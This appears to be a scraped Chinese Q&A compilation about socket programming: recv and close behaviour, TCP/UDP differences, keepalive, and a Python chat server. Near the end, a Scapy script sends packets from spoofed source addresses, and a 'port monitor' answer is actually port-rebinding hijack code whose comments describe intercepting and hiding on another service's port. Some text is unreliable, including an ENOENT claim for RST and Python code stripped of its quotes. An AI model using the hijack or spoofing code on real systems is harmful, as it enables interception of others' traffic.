|U|A|P|R|S|F| Window | |--------------------------------|--------------------------------| | Checksum | Urgent pointer | |--------------------------------|--------------------------------| | Option + Padding | |--------------------------------|--------------------------------| | Data | |--------------------------------|--------------------------------|五. 实现 Sniffer OK! 现在都清楚了, 还等什么. 下面是我用 BCB6 写的一个 Simple Sniffer 的代码, 仅供参考. (需要在工程文件里加入WS2_32.LIB这个文件) //2023-07-24 11:59:471
socket关闭后为什么recv不返回
recv是socket编程中最常用的函数之一,在阻塞状态的recv有时候会返回不同的值,而对于错误值也有相应的错误码,分别对应不同的状态,下面是我针对常见的几种网络状态的简单总结。 首先阻塞接收的recv有时候会返回0,这仅在对端已经关闭TCP连接时才会发生。 而当拔掉设备网线的时候,recv并不会发生变化,仍然阻塞,如果在这个拔网线阶段,socket被关掉了,后果可能就是recv永久的阻塞了。 所以一般对于阻塞的socket都会用setsockopt来设置recv超时。 当超时时间到达后,recv会返回错误,也就是-1,而此时的错误码是EAGAIN或者EWOULDBLOCK,POSIX.1-2001上允许两个任意一个出现都行,所以建议在判断错误码上两个都写上。 如果socket是被对方用linger为0的形式关掉,也就是直接发RST的方式关闭的时候,recv也会返回错误,错误码是ENOENT 还有一种经常在代码中常见的错误码,那就是EINTER,意思是系统在接收的时候因为收到其他中断信号而被迫返回,不算socket故障,应该继续接收。但是这种情况非常难再现,我尝试过一边一直在不停的发信号,一边用recv接收数据,也没有出现过。这种异常错误我附近只有一个朋友在用write的时候见到过一次,但是总是会有概率出现的,所以作为完善的程序必须对此错误进行特殊处理。一般设置超时的阻塞recv常用的方法都如下:while(1){ cnt = (int)recv(m_socket, pBuf,RECVSIZE, 0); if( cnt >0 ) { //正常处理数据 } else { if((cnt<0) &&(errno == EAGAIN||errno == EWOULDBLOCK||errno == EINTR)) //这几种错误码,认为连接是正常的,继续接收 { continue;//继续接收数据 } break;//跳出接收循环 }}阻塞与非阻塞recv返回值没有区分,都是 <0 出错 =0 连接关闭 >0 接收到数据大小。Linux环境下,须如下定义:struct timeval timeout = {3,0}; //设置发送超时setsockopt(socket,SOL_SOCKET,SO_SNDTIMEO,(char *)&timeout,sizeof(struct timeval));//设置接收超时setsockopt(socket,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(struct timeval));2023-07-24 11:59:561
如何优雅地关闭一个socket
1. 关闭Socket时究竟做了什么 关闭socket分为主动关闭(Active closure)和被动关闭(Passive closure)两种情况。前者是指有本地主机主动发起的关闭;而后者则是指本地主机检测到远程主机发起关闭之后,作出回应,从而关闭整个连接。 其状态图如下图所示: 起初每个socket都是CLOSED状态,当客户端初使化一个连接,他发送一个SYN包到服务器,客户端进入SYN_SENT状态。服务器接收到SYN包,反馈一个SYN-ACK包,客户端接收后返馈一个ACK包客户端变成ESTABLISHED状态,如果长时间没收到SYN-ACK包,客户端超时进入CLOSED状态。 当服务器绑定并监听某一端口时,socket的状态是LISTEN,当客户企图建立连接时,服务器收到一个SYN包,并反馈SYN-ACK包。服务器状态变成SYN_RCVD,当客户端发送一个ACK包时,服务器socket变成ESTABLISHED状态。 当一个程序在ESTABLISHED状态时有两种图径关闭它, 第一是主动关闭,第二是被动关闭。如果你要主动关闭的话,发送一个FIN包。当你的程序closesocket或者shutdown(标记),你的程序发送一个FIN包到peer,你的socket变成FIN_WAIT_1状态。peer反馈一个ACK包,你的socket进入FIN_WAIT_2状态。如果peer也在关闭连接,那么它将发送一个FIN包到你的电脑,你反馈一个ACK包,并转成TIME_WAIT状态。 TIME_WAIT状态又号2MSL等待状态。MSL意思是最大段生命周期(Maximum Segment Lifetime)表明一个包存在于网络上到被丢弃之间的时间。每个IP包有一个TTL(time_to_live),当它减到0时则包被丢弃。每个路由器使TTL减一并且传送该包。当一个程序进入TIME_WAIT状态时,他有2个MSL的时间,这个充许TCP重发最后的ACK,万一最后的ACK丢失了,使得FIN被重新传输。在2MSL等待状态完成后,socket进入CLOSED状态。 被动关闭:当程序收到一个FIN包从peer,并反馈一个ACK包,于是程序的socket转入CLOSE_WAIT状态。因为peer已经关闭了,所以不能发任何消息了。但程序还可以。要关闭连接,程序自已发送给自已FIN,使程序的TCP socket状态变成LAST_ACK状态,当程序从peer收到ACK包时,程序进入CLOSED状态。2. Winsock2 API中的相关函数 先当然是查MSDN,看到winsocks2 API中的相关函数有:closesocket,shutdown,WSASendDisconnect. 我大致说一下,具体详细的资料还请自行查MSDN. int closesocket( SOCKET s)的作用是关闭指定的socket,并且回收其所有的资源。 int shutdown( SOCKET s, int how)则是禁止在指定的socket s上禁止进行由how指定的操作,但并不对资源进行回收,shutdown之后而closesocket之前s还不能再次connect或者WSAConnect. int WSASendDisconnect( SOCKET s, LPWSABUF lpOutboundDisconnectData)则和shutdown基本类似,稍有不同的就是WSASendDisconnect函数多了一个lpOutboundDisconnectData参数,可以允许发送“断开数据”(disconnect data).但MSDN上写了“The native implementation of TCP/IP on Windows does not support disconnect data.”,所以一般我们就用shutdown函数就行了。3. Socket的优雅关闭在MSDN中对shutdown函数中的Remarks部分有下面一段话,指出了如何进行一次优雅的slcket关闭:To assure that all data is sent and received on a connected socket before it is closed, an application should use shutdown to close connection before calling closesocket. For example, to initiate a graceful disconnect:Call WSAAsyncSelect to register for FD_CLOSE notification.Call shutdown with how=SD_SEND.When FD_CLOSE received, call recv until zero returned, or SOCKET_ERROR.Call closesocket.closesocket的行为也是随setsockopt()中参数的不同而有不同的表现,这里影响它的行为的主要就是那个linger结构。SO_DONTLINGER 若为真,则SO_LINGER选项被禁止。 SO_LINGER 延迟关闭连接 struct linger 上面这两个选项影响close行为 选项 间隔 关闭方式 等待关闭与否 SO_DONTLINGER 不关心 优雅 否 SO_LINGER 零 强制 否 SO_LINGER 非零 优雅 是 若设置了SO_LINGER(亦即linger结构中的l_onoff域设为非零),并设置了零超时间隔,则closesocket()不被阻塞立即执行,不论是否有排队数据未发送或未被确认。这种关闭方式称为“强制”或“失效”关闭,因为套接口的虚电路立即被复位,且丢失了未发送的数据。在远端的recv()调用将以WSAECONNRESET出错。 若设置了SO_LINGER并确定了非零的超时间隔,则closesocket()调用阻塞进程,直到所剩数据发送完毕或超时。这种关闭称为“优雅的”关闭。请注意如果套接口置为非阻塞且SO_LINGER设为非零超时,则closesocket()调用将以WSAEWOULDBLOCK错误返回。 若在一个流类套接口上设置了SO_DONTLINGER(也就是说将linger结构的l_onoff域设为零),则closesocket()调用立即返回。但是,如果可能,排队的数据将在套接口关闭前发送。请注意,在这种情况下WINDOWS套接口实现将在一段不确定的时间内保留套接口以及其他资源,这对于想用所以套接口的应用程序来说有一定影响。 所以一般来说,不应该把linger设置为SO_LINGER 并且设置timeout为0,这样的话,当本地主机调用closesocket时将会造成一个“强制”或“失效”的非优雅关闭。可以根据实际情况设置为另外两种情况。2023-07-24 12:00:051
setsockopt()函数问题:为什么提示IP_OPTIONS未定义
还是我……怎么之前的问题这么快就结了……ReBuild了实在不行就自己#define IP_OPTIONS 1吧……哈……2023-07-24 12:00:121
socket创建失败怎么办
将 if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(flag)) == SOCKET_ERROR) { cout << endl << "setsockopt操作失败" << WSAGetLastError() << endl; return; } 改为:setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&flag, sizeof(flag)); 即可解决2023-07-24 12:00:201
socket中tcp/ip和udp的区别
一、TCP与UDP的区别 基于连接与无连接 对系统资源的要求(TCP较多,UDP少) UDP程序结构较简单 流模式与数据报模式 TCP保证数据正确性,UDP可能丢包 TCP保证数据顺序,UDP不保证 部分满足以下几点要求时,应该采用UDP 面向数据报方式 网络数据大多为短消息 拥有大量Client 对数据安全性无特殊要求 网络负担非常重,但对响应速度要求高 具体编程时的区别 socket()的参数不同 UDP Server不需要调用listen和accept UDP收发数据用sendto/recvfrom函数 TCP:地址信息在connect/accept时确定 UDP:在sendto/recvfrom函数中每次均 需指定地址信息 UDP:shutdown函数无效二、man----socket 通过查看socket的man手册可以看到socket函数的第一个参数的值可以为下面这些值: Name Purpose PF_UNIX, PF_LOCAL Local communication PF_INET IPv4 Internet protocols PF_INET6 IPv6 Internet protocols PF_IPX IPX - Novell protocols PF_NETLINK Kernel user interface device PF_X25 ITU-T X.25 / ISO-8208 protocol PF_AX25 Amateur radio AX.25 protocol PF_ATMPVC Access to raw ATM PVCs PF_APPLETALK Appletalk PF_PACKET Low level packet interface三、编程区别 通常我们在说到网络编程时默认是指TCP编程,即用前面提到的socket函数创建一个socket用于TCP通讯,函数参数我们通常填为SOCK_STREAM。即socket(PF_INET, SOCK_STREAM, 0),这表示建立一个socket用于流式网络通讯。 SOCK_STREAM这种的特点是面向连接的,即每次收发数据之前必须通过connect建立连接,也是双向的,即任何一方都可以收发数据,协议本身提供了一些保障机制保证它是可靠的、有序的,即每个包按照发送的顺序到达接收方。 而SOCK_DGRAM这种是User Datagram Protocol协议的网络通讯,它是无连接的,不可靠的,因为通讯双方发送数据后不知道对方是否已经收到数据,是否正常收到数据。任何一方建立一个socket以后就可以用sendto发送数据,也可以用recvfrom接收数据。根本不关心对方是否存在,是否发送了数据。它的特点是通讯速度比较快。大家都知道TCP是要经过三次握手的,而UDP没有。 基于上述不同,UDP和TCP编程步骤也有些不同,如下: TCP编程的服务器端一般步骤是: 1、创建一个socket,用函数socket(); 2、设置socket属性,用函数setsockopt(); * 可选 3、绑定IP地址、端口等信息到socket上,用函数bind(); 4、开启监听,用函数listen(); 5、接收客户端上来的连接,用函数accept(); 6、收发数据,用函数send()和recv(),或者read()和write(); 7、关闭网络连接; 8、关闭监听; TCP编程的客户端一般步骤是: 1、创建一个socket,用函数socket(); 2、设置socket属性,用函数setsockopt();* 可选 3、绑定IP地址、端口等信息到socket上,用函数bind();* 可选 4、设置要连接的对方的IP地址和端口等属性; 5、连接服务器,用函数connect(); 6、收发数据,用函数send()和recv(),或者read()和write(); 7、关闭网络连接; 与之对应的UDP编程步骤要简单许多,分别如下: UDP编程的服务器端一般步骤是: 1、创建一个socket,用函数socket(); 2、设置socket属性,用函数setsockopt();* 可选 3、绑定IP地址、端口等信息到socket上,用函数bind(); 4、循环接收数据,用函数recvfrom(); 5、关闭网络连接; UDP编程的客户端一般步骤是: 1、创建一个socket,用函数socket(); 2、设置socket属性,用函数setsockopt();* 可选 3、绑定IP地址、端口等信息到socket上,用函数bind();* 可选 4、设置对方的IP地址和端口等属性; 5、发送数据,用函数sendto(); 6、关闭网络连接;2023-07-24 12:00:271
qt中直接使用TCPSOCKRT传输数据的时候,有没有一个相当于setsockopt的函数,直接修改ACK DALAY
void QAbstractSocket::setSocketOption ( QAbstractSocket::SocketOption option, const QVariant & value )Sets the given option to the value described by value.可以看看这个函数2023-07-24 12:00:421
VC++ 用Socket怎样编持续接收数据的程序
你这种是用的阻塞模式,就是 Accept和Receive 都会卡住不动,直到有新连接或者有新数据。实际使用场景中,阻塞模式,一个线程专门Accept 有新的连接之后,为每一个连接再创建一个线程来处理 Receive,也就是对于服务器来说,假设当前有10个工作的连接,那么至少需要11个线程。你只需要开几个专门的线程来负责接受连接和接收数据就可以了。这种阻塞模式不适合大并发量的网络程序,测试小程序没问题,大并发量时需要使用非阻塞模式,比如一般常用的select模式百度 “select模型” 就可以搜到。2023-07-24 12:00:502
Python实现的使用telnet登陆聊天室
本文实例讲述了Python实现的使用telnet登陆聊天室。分享给大家供大家参考。具体如下:前久在家学习Python的时候写的一个简单的聊天室,可以使用telnet来登陆。遗憾的是现在对中文的支持很差,英文聊天倒是没什么问题了。功能很简单的,应该没有你想象的那么强大,但是你如果有兴趣的话可以试试的。另外,让我惊奇的是它可以在Android的平板上运行SL4A的Python解释器上运行(需要稍微改几句代码,貌似是编码的那个地方,我记不清了)。现在这个是可以在PC上跑起来的。废话不多,直接放代码了,就一个py文件而已,而且注释是乱七八糟的,编码风格也不好(好神似我在用类C语言的习惯)。24252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128# Filename: ChatRoomServer.pyimport threadingimport datetimeimport socket# a simple log functiondef log(lg):print(lg)# Chat room server listen thread class, this class is use for listening client login# when a client request to connect server, this class will start a connect threadclass ServerListenThread(threading.Thread):def __init__(self, hostname, port, accept):threading.Thread.__init__(self)self.hostname = hostnameself.port = portself.accept = acceptself.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)self.sock.bind((hostname, port))self.sock.listen(0)log(ServerIp:%s ServerPort:%s waiting for client...%self.sock.getsockname())def run(self):clientid = 1while True:client, cltadd = self.sock.accept()log(a request from Id=%s%s%(%d Address:%clientid , cltadd))if self.accept(clientid, client):clientid = clientid + 1# Connect thread class, this class is use for connecting with client and receiving clients messageclass ServerConnectThread(threading.Thread):def __init__(self, clientid, client, encoding, receive, disconnect):threading.Thread.__init__(self)self.client = clientself.clientid = clientidself.encoding = encodingself.receive = receiveself.disconnect = disconnectself.clientname = Noneself.inputs = self.client.makefile(rb, 0)self.outputs = self.client.makefile(wb, 0)def run(self):self.sendstring(Input your name:)while True:string = self.readline()if string:string = string.lstrip()if len(string)0:self.receive(self, string)else:self.inputs.close()self.outputs.close()breakif self.clientname:self.disconnect(self)def sendstring(self, string):self.sendbytes(bytes(string, self.encoding))def sendbytes(self, bts):self.outputs.write(bts)def readline(self):rec = self.inputs.readline()if rec:string = bytes.decode(rec, self.encoding)if len(string)2:string = string[0:-2]else:string = else:string = Falsereturn string# Chat room server class, this class is constitute of a listen thread and many connect threadclass ChatRoomServer:def __init__(self, ip=0.0.0.0, port=9113, encoding=utf-8):self.hostname = ipself.encoding = encodingself.port = portself.clients = {}self.clientnames = {}def whenconnect(self, clientid, client):log(a connect with Id=%s%s%(%d Address:%clientid , client.getpeername()))connect = ServerConnectThread(clientid, client, self.encoding, self.whenreceive, self.whenexit)connect.start()return Truedef whenreceive(self, client, string):log(frome %d, receive:%s (%d)%(client.clientid, string, len(string)))if client.clientname:if string[0]==.:self.handlecmd(client, string[1:])else:now = datetime.datetime.now()sendstring = %s %srn %srn%(now, client.clientname, string)self.sendtoall(sendstring, client)else:if self.clientnames.__contains__(string):client.sendstring(%s is exited!!!rn%string)else:client.clientname = stringclient.sendstring(Hell, %s!!!rn%client.clientname)self.addclient(client)return Truedef whenexit(self, client):self.delclient(client)return Truedef handlecmd(self, client, cmd):log(cmd: %s%cmd)if cmd==user:client.sendstring(User list(%d):rn%len(self.clients))for i in self.clients:clt = self.clients[i]client.sendstring( %dt%srn%(clt.clientid, clt.clientname))else:client.sendstring(Unknow command: %s:rn%cmd)def start(self):serverlisten = ServerListenThread(self.hostname, self.port, self.whenconnect)serverlisten.start()def sendtoall(self, string, notfor):sends = bytes(string, self.encoding)for i in self.clients:if not(notfor and notfor.clientid==i):self.clients[i].sendbytes(sends)def addclient(self, client):self.sendtoall(%s logined!!!rn%client.clientname, client)self.clients[client.clientid] = clientself.clientnames[client.clientname] = client.clientiddef delclient(self, client):self.sendtoall(%s logouted!!!rn%client.clientname, client)del self.clients[client.clientid]del self.clientnames[client.clientname]# start a chat room serverChatRoomServer().start()有了这个服务器程序之后就可以了(当然前提是你安装的Python解释器),没有客户端的,那么你会问怎么开始聊天呢?下面开始介绍怎么开始聊天,首先你把这个文件运行起来,如下图可以看到服务器正在等待客户端登陆了:客户端直接使用telnet命令登陆,注意端口应该和服务器的一样,命令为:telnet 127.0.0.1 9011,自动打开telnet控制台,输入自己的名字吧:现在你在看看服务器端的控制台界面,可以看到记录了登陆消息:继续使用telnet登陆另外的用户之后就可以聊天了:功能很简陋了,不过这让我想起了二三十年前的事,嘿嘿,那时候应该就是这样子聊天的了吧,生在这个时代的我们永远都体会不到那种乐趣了。希望本文所述对大家的Python程序设计有所帮助。2023-07-24 12:00:571
一个有关问题,TCP是绝对100%可靠的吗
在多线程任务中,TCP任务通过三次握手能建立可靠的连接,但是经常会发生在数据传输或通信时发生网络突然断开或者长时间连接空循环监听而未进行操作,需要在软件设计时考虑程序运行中检测到服务器对客户端的这一“虚连接”现象。如果主机崩溃,write是否阻塞取决于内核的tcp缓冲区,但read将一直阻塞,直到超时ETIMEOUT,或由于某些中间路由器的原因返回EHOSTUNREACH/ENETUNREACH。select不能检测到该情况。如果主机崩溃并重起,客户的write到达主机时主机响应RST,客户的read将返ECONNRESET。此处的”非正常断开”指TCP连接不是以优雅的方式断开,如网线故障等物理链路的原因,还有突然主机断电等原因 。心跳机制有两种方法可以检测:1.TCP连接双方定时发握手消息 2.利用TCP协议栈中的KeepAlive探测第二种方法简单可靠,只需对TCP连接两个Socket设定KeepAlive探测,所以本文只讲第二种方法在Linux,Window2000下的实现(在其它的平台上没有作进一步的测试)1)Windows平台C代码//定义结构及宏 struct TCP_KEEPALIVE { u_longonoff; u_longkeepalivetime; u_longkeepaliveinterval; } ; #define SIO_KEEPALIVE_VALS _WSAIOW(IOC_VENDOR,4) //KeepAlive实现 TCP_KEEPALIVE inKeepAlive = {0}; //输入参数 unsigned long ulInLen = sizeof(TCP_KEEPALIVE); TCP_KEEPALIVE outKeepAlive = {0}; //输出参数 unsigned long ulOutLen = sizeof(TCP_KEEPALIVE); unsigned long ulBytesReturn = 0; //设置socket的keep alive为5秒,并且发送次数为3次 inKeepAlive.onoff = 1; inKeepAlive.keepaliveinterval = 5000; //两次KeepAlive探测间的时间间隔 inKeepAlive.keepalivetime = 5000; //开始首次KeepAlive探测前的TCP空闭时间 if (WSAIoctl((unsigned int)s, SIO_KEEPALIVE_VALS, (LPVOID)&inKeepAlive, ulInLen, (LPVOID)&outKeepAlive, ulOutLen, &ulBytesReturn, NULL, NULL) == SOCKET_ERROR) { ACE_DEBUG ((LM_INFO, ACE_TEXT ("(%P|%t) WSAIoctl failed. error code(%d)! "), WSAGetLastError())); } //定义结构及宏 struct TCP_KEEPALIVE { u_longonoff; u_longkeepalivetime; u_longkeepaliveinterval; } ; #define SIO_KEEPALIVE_VALS _WSAIOW(IOC_VENDOR,4) //KeepAlive实现 TCP_KEEPALIVE inKeepAlive = {0}; //输入参数 unsigned long ulInLen = sizeof(TCP_KEEPALIVE); TCP_KEEPALIVE outKeepAlive = {0}; //输出参数 unsigned long ulOutLen = sizeof(TCP_KEEPALIVE); unsigned long ulBytesReturn = 0; //设置socket的keep alive为5秒,并且发送次数为3次 inKeepAlive.onoff = 1; inKeepAlive.keepaliveinterval = 5000; //两次KeepAlive探测间的时间间隔 inKeepAlive.keepalivetime = 5000; //开始首次KeepAlive探测前的TCP空闭时间 if (WSAIoctl((unsigned int)s, SIO_KEEPALIVE_VALS, (LPVOID)&inKeepAlive, ulInLen, (LPVOID)&outKeepAlive, ulOutLen, &ulBytesReturn, NULL, NULL) == SOCKET_ERROR) { ACE_DEBUG ((LM_INFO, ACE_TEXT ("(%P|%t) WSAIoctl failed. error code(%d)! "), WSAGetLastError())); }2)Linux平台C代码#include …… ////KeepAlive实现 //下面代码要求有ACE,如果没有包含ACE,则请把用到的ACE函数改成linux相应的接口 int keepAlive = 1;//设定KeepAlive int keepIdle = 5;//开始首次KeepAlive探测前的TCP空闭时间 int keepInterval = 5;//两次KeepAlive探测间的时间间隔 int keepCount = 3;//判定断开前的KeepAlive探测次数 if(setsockopt(s,SOL_SOCKET,SO_KEEPALIVE,(void*)&keepAlive,sizeof(keepAlive)) == -1) { ACE_DEBUG ((LM_INFO, ACE_TEXT ("(%P|%t) setsockopt SO_KEEPALIVE error! "))); } if(setsockopt(s,SOL_TCP,TCP_KEEPIDLE,(void *)&keepIdle,sizeof(keepIdle)) == -1) { ACE_DEBUG ((LM_INFO, ACE_TEXT ("(%P|%t) setsockopt TCP_KEEPIDLE error! "))); } if(setsockopt(s,SOL_TCP,TCP_KEEPINTVL,(void *)&keepInterval,sizeof(keepInterval)) == -1) { ACE_DEBUG ((LM_INFO, ACE_TEXT ("(%P|%t) setsockopt TCP_KEEPINTVL error! "))); } if(setsockopt(s,SOL_TCP,TCP_KEEPCNT,(void *)&keepCount,sizeof(keepCount)) == -1) { ACE_DEBUG ((LM_INFO, ACE_TEXT ("(%P|%t)setsockopt TCP_KEEPCNT error! "))); } 心跳机制:定时发送一个自定义的结构体(心跳包),让对方知道自己还活着,以确保连接的有效性。网络中的接收和发送数据都是使用WINDOWS中的SOCKET进行实现。但是如果此套接字已经断开,那发送数据和接收数据的时候就一定会有问题。可是如何判断这个套接字是否还可以使用呢?这个就需要在系统中创建心跳机制。其实TCP中已经为我们实现了一个叫做心跳的机制。如果你设置了心跳,那TCP就会在一定的时间(比如你设置的是3秒钟)内发送你设置的次数的心跳(比如说2次),并且此信息不会影响你自己定义的协议。所谓“心跳”就是定时发送一个自定义的结构体(心跳包或心跳帧),让对方知道自己“在线”。以确保链接的有效性。所谓的心跳包就是客户端定时发送简单的信息给服务器端告诉它我还在而已。代码就是每隔几分钟发送一个固定信息给服务端,服务端收到后回复一个固定信息如果服务端几分钟内没有收到客户端信息则视客户端断开。比如有些通信软件长时间不使用,要想知道它的状态是在线还是离线就需要心跳包,定时发包收包。发包方:可以是客户也可以是服务端,看哪边实现方便合理。一般是客户端。服务器也可以定时轮询发心跳下去。心跳包之所以叫心跳包是因为:它像心跳一样每隔固定时间发一次,以此来告诉服务器,这个客户端还活着。事实上这是为了保持长连接,至于这个包的内容,是没有什么特别规定的,不过一般都是很小的包,或者只包含包头的一个空包。在TCP的机制里面,本身是存在有心跳包的机制的,也就是TCP的选项。系统默认是设置的是2小时的心跳频率。但是它检查不到机器断电、网线拔出、防火墙这些断线。而且逻辑层处理断线可能也不是那么好处理。一般,如果只是用于保活还是可以的。心跳包一般来说都是在逻辑层发送空的包来实现的。下一个定时器,在一定时间间隔下发送一个空包给客户端,然后客户端反馈一个同样的空包回来,服务器如果在一定时间内收不到客户端发送过来的反馈包,那就只有认定说掉线了。只需要send或者recv一下,如果结果为零,则为掉线。但是,在长连接下,有可能很长一段时间都没有数据往来。理论上说,这个连接是一直保持连接的,但是实际情况中,如果中间节点出现什么故障是难以知道的。更要命的是,有的节点(防火墙)会自动把一定时间之内没有数据交互的连接给断掉。在这个时候,就需要我们的心跳包了,用于维持长连接,保活。在获知了断线之后,服务器逻辑可能需要做一些事情,比如断线后的数据清理呀,重新连接呀当然,这个自然是要由逻辑层根据需求去做了。总的来说,心跳包主要也就是用于长连接的保活和断线处理。一般的应用下,判定时间在30-40秒比较不错。如果实在要求高,那就在6-9秒。TCP连接异常断开后操作系统会告诉你,你查询套接字的状态会得到异常,或者当发现函数失败WSAGetLastError的时候也会得到内核的通知。// 发送回应消息int nSend = Send4IntMsg(sock, (char*)(LPCTSTR)strSendBuf, strSendBuf.GetLength(), errMsg);if (nSend < 0) // 发送消息失败closesocket(sock);//重新连接在B/S编程和UDP编程时才用到心跳。比如定期向web服务器发一个request证明自己在线。http协议是请求一下就断开了,每次都要重新连接,重新请求,这种情况下才有必要用心跳机制。一般的TCP通信都是长连接,不可能频繁连接和断开。对于长期保持连接的情况,一旦断开,操作系统底层都会通知你,你需要解决的是如何获取到系统的通知。2023-07-24 12:01:171
怎么提高下面代码中socket的发包速率
#!/usr/bin/python import socket from scapy.all import * import hack_arp import ip_account import random import copy import ssh_cmd def udp_send_rcv(local_mac,local_addr,local_port,gw_mac,remote_addr,remote_port,txt,verbose = False) : eth = Ether(dst=gw_mac,src=local_mac); ip = IP(dst=remote_addr,src=local_addr); udp = UDP(sport = local_port , dport = remote_port); p = eth/ip/udp/txt ; d = srp1(p,timeout=5); if verbose == True : d.show(); return p,d ; #sendp(p); def udp_send(sk,pkt): #sk.sendto(str(pkt),(pkt["IP"].dst,pkt["UDP"].dport)); sk.send(str(pkt)); def main_test(pkt_num=1000,verbose = False,fast_mode=True) : arp_group = {} ; ip_header_map = {} ; for i in range(2,201) : gw_mac = hack_arp.get_gateway_hw(hack_arp.get_gateway_ip()) ; ip = "192.168.31."+str(i); mac = "be:ef:e5:1e:89:"+hex(i)[2:]; eth = Ether(dst=gw_mac); ip_header = IP(dst = "10.237.100.9",src = ip); udp_header = UDP(sport = 9000, dport = 9999); ip_header_map[ip] = copy.deepcopy(eth/ip_header/udp_header) ; score = {} ; cmp_txt = "z"*1500 ; if fast_mode == True : try: #s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(ETH_P_IP|ETH_P_ARP|ETH_P_ALL)) #s = socket.socket(socket.AF_INET, socket.SOCK_RAW) except socket.error , msg: print "Socket could not be created. Error Code : " + str(msg[0]) + " Message " + msg[1] sys.exit() # tell kernel not to put in headers, since we are providing it #s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) #s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.bind(("eth0",0)); s.setblocking(0); for i in range(pkt_num) : index = random.randint(2,200); local_addr = "192.168.31."+str(index) ; #txt = str(i)[0] * random.randint(10,1300); txt = cmp_txt[0:100]; udp_send(s,ip_header_map[local_addr]/txt); if not score.has_key(local_addr) : score[local_addr] = (0,0,0,0); score[local_addr] = (score[local_addr][0]+len(txt)+28,score[local_addr][1]+1,score[local_addr][2]+len(txt)+28+7,score[local_addr][3]+1); else : for i in range(pkt_num) : index = random.randint(2,200); local_addr = "192.168.31."+str(index) ; local_port = 9000 ; local_mac = "be:ef:e5:1e:89:"+hex(index)[2:] ; gw_mac = "8C:BE:BE:10:05:88" ; remote_addr = "10.237.100.9" ; remote_port = 9999 ; txt = cmp_txt[0:100]; p,d = udp_send_rcv(local_mac,local_addr,local_port,gw_mac,remote_addr,remote_port,str(index)+" send msg "+txt,verbose=verbose); if not score.has_key(local_addr) : score[local_addr] = (0,0,0,0); print score[local_addr] if verbose == True : p.show(); d.show(); #score[local_addr] = (score[local_addr][0]+1,score[local_addr][1]+len(p["Raw"].load)+28,score[local_addr][2]+1,score[local_addr][3]+d["IP"].len); score[local_addr] = (score[local_addr][0]+len(p["Raw"].load)+28,score[local_addr][1]+1,score[local_addr][2]+d["IP"].len,score[local_addr][3]+1); if verbose == True : print score ; res = ip_account.ip_account(); if verbose == True : print res ; if_fail = 0 ; fail_msg = ""; for src in score : if not res.has_key(src) : res[src] = (0,0,0,0); if score[src] == res[src] : print src + ": matched." else : if_fail = 1 ; fail_msg = fail_msg + src + ": dismatched."+ str(score[src])+":"+ str(res[src]) + ";"; print "error:" print src + ": dismatched."+ str(score[src])+":"+ str(res[src]); if if_fail == 1 : print "failed." return if_fail,fail_msg #tcp_link("192.168.31.171",9102,"192.168.31.98",9999); if __name__=="__main__": cmd = "" ; #for i in range(2,201) : # ip = "192.168.31."+str(i); # #mac = "be:ef:e5:1e:89:"+hex(i)[2:]; # mac = "f8:b1:56:e3:12:60" ; # cmd = "arp -s " + ip + " " + mac ; # ssh_cmd.ssh_cmd("192.168.31.1","xxxxxx",cmd); fail_table = {} ; for i in range(1000) : if_fail,fail_msg = main_test(pkt_num = 100000,verbose=True) if if_fail == 1 : fail_table[i] = fail_msg ; print fail_table ;2023-07-24 12:01:241
C++下如何实现端口监视
看看有没有用==============#include "stdafx.h"#include <winsock2.h>#include <windows.h>//#include <stdio.h>#include <stdlib.h>#include <fstream.h>DWORD WINAPI ClientThread(LPVOID lpParam);int main(int argc, char* argv[]){ if (argc!=2) { printf("using: listen [your ip address] for example: listen 202.112.246.2 "); return 0; } WORD wVersionRequested; DWORD ret; WSADATA wsaData; BOOL val; SOCKADDR_IN saddr; SOCKADDR_IN scaddr; int err; SOCKET s; SOCKET sc; int caddsize; HANDLE mt; DWORD tid; wVersionRequested = MAKEWORD( 2, 2 ); err = WSAStartup( wVersionRequested, &wsaData ); if ( err != 0 ) { printf("error!WSAStartup failed! "); return -1; } saddr.sin_family = AF_INET; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 saddr.sin_addr.s_addr = inet_addr(argv[1]); saddr.sin_port = htons(80); if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) { printf("error!socket failed! "); return -1; } val = TRUE; //SO_REUSEADDR选项就是可以实现端口重绑定的 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) { printf("error!setsockopt failed! "); return -1; } //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) { ret=GetLastError(); printf("error!bind failed! "); return -1; } listen(s,2); while(1) { caddsize = sizeof(scaddr); //接受连接请求 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); if(sc!=INVALID_SOCKET) { mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); if(mt==NULL) { printf("Thread Creat Failed! "); break; } } CloseHandle(mt); } closesocket(s); WSACleanup(); return 0;}DWORD WINAPI ClientThread(LPVOID lpParam){ SOCKET ss = (SOCKET)lpParam; SOCKET sc; char buf[4096]; SOCKADDR_IN saddr; long num; DWORD val; DWORD ret; //如果是隐藏端口应用的话,可以在此处加一些判断 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); saddr.sin_port = htons(80); 